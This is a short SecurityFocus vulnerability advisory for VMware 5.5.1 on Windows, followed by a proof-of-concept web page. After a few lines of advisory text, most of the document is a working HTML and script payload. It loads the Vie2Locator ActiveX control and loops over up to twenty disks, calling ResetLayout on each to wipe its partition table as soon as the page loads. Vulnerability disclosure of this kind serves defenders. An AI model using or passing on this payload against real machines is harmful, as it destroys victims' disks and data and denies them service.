source: https://www.securityfocus.com/bid/19551/info
VMware is prone to a remote denial-of-service vulnerability.
An attacker can exploit this issue to destroy partition tables on the affected computer and to deny service to legitimate users.
This issue affects VMware version 5.5.1; other versions may also be vulnerable for Windows.
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<!--
// VMware 5.5.1 for Windows arbitrary partition table delete issue.
// Tested on Windows Server 2000/2003
//
// nop nop#xsec.org
// http://www.xsec.org
//
// CLSID: {0F748FDE-0597-443C-8596-71854C5EA20A}
// Info: Vie2Locator Class
// ProgID: VieLib2.Vie2Locator.1
// InprocServer32: C:\Program Files\Common Files\VMware\VMware Virtual
Image Editing\vielib.dll
--!>
<html><body>
<object classid="clsid:{0F748FDE-0597-443C-8596-71854C5EA20A}"
id="vmware"> </object>
<script>
var disk = 0; // HardDisk No
while (disk < 20)
{
var x = vmware.ConnectDisk(disk); // Connect to HardDisk
x.ResetLayout(); // Will clean all partition table on your Harddisk
disk += 1;
}
</script>
</body></html>
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